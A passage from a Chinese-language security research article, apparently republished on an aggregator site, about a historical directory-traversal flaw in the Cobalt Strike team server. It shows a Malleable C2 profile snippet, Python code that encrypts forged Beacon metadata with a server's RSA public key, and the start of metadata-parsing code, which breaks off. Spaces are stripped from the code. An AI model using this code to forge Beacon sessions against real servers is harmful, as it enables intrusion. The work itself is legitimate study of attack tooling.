产业气象站|Strike一个历史遗留漏洞的研究,对红队利器Cobalt( 二 )


System.out.println("Couldnotreadasymmetrickeys")
}
}
}
运行时 , 输出将如下所示:
产业气象站|Strike一个历史遗留漏洞的研究,对红队利器Cobalt
文章图片
转储密钥
应该注意的是 , 这完全只是为了在编写漏洞利用程序时进行调试 。 在现实世界中 , 由于密钥是通过RSA安全协商的 , 而Beacon只有公共密钥 , 因此无法解密现有的Beacon通信 。 但是 , 如果你拥有公钥(可以通过checksum8下载URL检索到) , 则可以通过伪会话对任务进行加密和解密 。
Beacon通信加密和元数据
加密 , 解密和结构
来自Beacon的元数据根据可延展的C2配置文件中的设置发送 。 这允许操作者自定义流量的各种属性 , 例如元数据blob的发送位置(例如 , 在标头或cookie中)以及如何对其进行编码 。 以下是来自CobaltStrike博客示例 。
https://www.cobaltstrike.com/help-malleable-c2
在此示例中 , 将以Base64编码将元数据发送为名为“user”的Cookie 。
MalleableC2Config
http-get{
seturi"/foobar"
client{
metadata{
base64
prepend"user="
【产业气象站|Strike一个历史遗留漏洞的研究,对红队利器Cobalt】header"Cookie"
}
}
以下HTTP请求捕获显示了发送给Base64的Cookie头中的Base64编码的元数据blob , 这是默认设置:
产业气象站|Strike一个历史遗留漏洞的研究,对红队利器Cobalt
文章图片
Beacon元数据加密使用带有PKCS1填充的RSA , 以下是Python中使用暂存器公钥加密Beacon元数据的示例:
importM2Crypto
importbase64
importbinascii
PUBKEY_TEMPLATE="-----BEGINPUBLICKEY-----{}-----ENDPUBLICKEY-----"
plaintext="0000BEEF00000056D48A3A7104FC17544D5A3752C6EEAED4E404B5015FAD878000000A0000000431302E30093139322E3136382E3230302E313031094445534B544F502D3337325251544D0961646D696E0972756E646C6C33322E657865"
buf=M2Crypto.BIO.MemoryBuffer(PUBKEY_TEMPLATE.format("MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDhOfC4TICevrbgiUVK5kmvU8aNQNiCfccHxIOV4wzjOn5DpaC49NLoKMsS2fVnMI/f+cbyuqfrXMYmUX8eZDWkmflrBFNOPG8hr8oqhm1EiIvK9S+CsOuLGsEOmefqYk+Gj1nfnJ1uO9ELRv1U+OhmQ77w4u0AZWHPSNr1STYhZQIDAQAB"))
pubkey=M2Crypto.RSA.load_pub_key_bio(buf)
ciphertext=pubkey.public_encrypt(binascii.unhexlify(plaintext),M2Crypto.RSA.pkcs1_padding)
print(base64.b64encode(ciphertext))
解密后(使用从测试团队服务器中提取的私钥) , 元数据如下所示:
解密的元数据Blob
所有解密的元数据blob都以8字节为前缀 , 该字节必须始终存在 。 这8个字节是magic48879(0xBEEF) , 后跟数据大小:
产业气象站|Strike一个历史遗留漏洞的研究,对红队利器Cobalt
文章图片
Beacon元数据结构
因此 , 我们现在可以加密/解密元数据 , 现在进入解析 。
Beacon元数据解析
以下Python代码显示了如何分析来自CobaltStrikeBeacon的元数据 。 在CobaltStrike&lt4.0上 , 元数据字段(除了前16个字节之外)由制表符分隔的字符串组成 。 这导致IP地址被视为(未经完整性检查)字符串 , 在版本3.5中会导致目录遍历问题 。 但是 , 在更高版本上 , 使用正则表达式验证IP地址字段以确保它确实是有效的IP地址 。
请注意 , 这在CobaltStrike4.0中有所更改 , 其中添加了许多新字段 。 下面的代码涵盖3.5和4.0版本 。
importM2Crypto
importrequests
PRIVATE_KEY_TEMPLATE="-----BEGINPRIVATEKEY-----{}-----ENDPRIVATEKEY-----"


推荐阅读